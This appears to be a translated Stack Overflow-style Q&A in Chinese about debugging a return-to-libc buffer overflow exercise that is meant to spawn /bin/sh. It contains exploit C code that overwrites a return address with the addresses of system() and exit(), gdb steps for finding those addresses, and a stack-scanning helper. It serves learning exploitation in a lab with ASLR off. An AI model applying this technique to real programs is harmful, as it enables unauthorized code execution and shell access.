返回lib_c缓冲区溢出运行问题

lig*_*nic 18 c bash buffer-overflow

我应该想出一个利用"返回libc缓冲区溢出"的程序.执行时,它会干净地退出并显示SHELL提示符.该程序在bash终端中执行.以下是我的C代码:

#include <stdio.h>
int main(int argc, char*argv[]){
    char buffer[7];

    char buf[42];
    int i = 0;
    while(i < 28)
    {
            buf[i] = 'a';
            i = i + 1;
    }

    *(int *)&buf[28] = 0x4c4ab0;
    *(int *)&buf[32] = 0x4ba520;
    *(int *)&buf[36] = 0xbfffff13;

    strcpy(buffer, buf);

    return 0;
}
Run Code Online (Sandbox Code Playgroud)

使用gdb,我已经能够确定以下内容:

  • "system"的地址:0x4c4ab0
  • "exit"的地址:0x4ba520
  • 字符串"/ bin/sh"驻留在内存中:0xbfffff13

我也知道,使用gdb,在我的缓冲区变量中插入32"A"会覆盖返回地址.因此,假设系统调用是4个字节,我首先填充28字节的内存"泄漏".在第28个字节,我开始我的系统调用,然后退出调用,最后添加我的"/ bin/sh"内存位置.

但是,当我运行程序时,我得到以下内容:

sh: B???: command not found
Segmentation fault (core dumped)
Run Code Online (Sandbox Code Playgroud)

我真的不确定我做错了什么......

[编辑]:我能够通过导出环境变量获得字符串"/ bin/sh":

export MYSHELL="/bin/sh"
Run Code Online (Sandbox Code Playgroud)

小智 50

您可以在libc中搜索/ bin/sh字符串的固定地址.在gdb中运行程序然后:

> (gdb) break main
> 
> (gdb) run   
>
> (gdb) print &system  
> $1 = (<text variable, no debug info>*) 0xf7e68250 <system>
> 
> (gdb) find &system,+9999999,"/bin/sh"  
> 0xf7f86c4c
> warning: Unable to access target memory at 0xf7fd0fd4, halting search. 
> 1 pattern found.
Run Code Online (Sandbox Code Playgroud)

祝好运.


oua*_*uah 5

您程序中的问题是您认为指向/bin/sh字符串的指针实际上并未指向/bin/sh.

您可以使用gdb. 但是,即使没有堆栈随机化,当程序运行在你的shell变量的堆栈地址是不同的gdb比没有gdbgdb正在将一些调试信息放入堆栈,这将移动您的 shell 变量。

为了说服自己,这里有一个快速而肮脏的程序,用于/bin/sh在堆栈中查找字符串:

#include <stdio.h>
#include <string.h>

int main(void)
{
    char s[] = "/bin/sh";
    char *p = (char *) 0xbffff000;

    while (memcmp(++p, s, sizeof s));

    printf("%s\n", p);
    printf("%p\n", p);
}
Run Code Online (Sandbox Code Playgroud)

首先仔细检查堆栈随机化是否被禁用:

ouah@maou:~$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 0
ouah@maou:~$
Run Code Online (Sandbox Code Playgroud)

好的,没有堆栈随机化。

让我们编译程序并在外面运行它gdb

ouah@maou:~$ gcc -std=c99 tst.c
ouah@maou:~$ ./a.out
/bin/sh
0xbffff724
ouah@maou:~$
Run Code Online (Sandbox Code Playgroud)

现在让我们运行它gdb

ouah@maou:~$ ./a.out
/bin/sh
0xbffff724
ouah@maou:~$ gdb a.out -q
Reading symbols from /home/ouah/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/ouah/a.out
/bin/sh
0xbffff6e4

Program exited normally.
(gdb) quit
ouah@maou:~$
Run Code Online (Sandbox Code Playgroud)

如你所见,/bin/sh程序在内部或外部运行时,字符串的地址是不同的gdb

现在你可以做的是使用这个程序的一个变体来找到你的字符串的真实地址或更优雅的方法,/bin/sh直接从 libc获取字符串的地址(你可以猜到有几次出现)。

  • 在运行示例时,我收到一个分段错误......为什么? (2认同)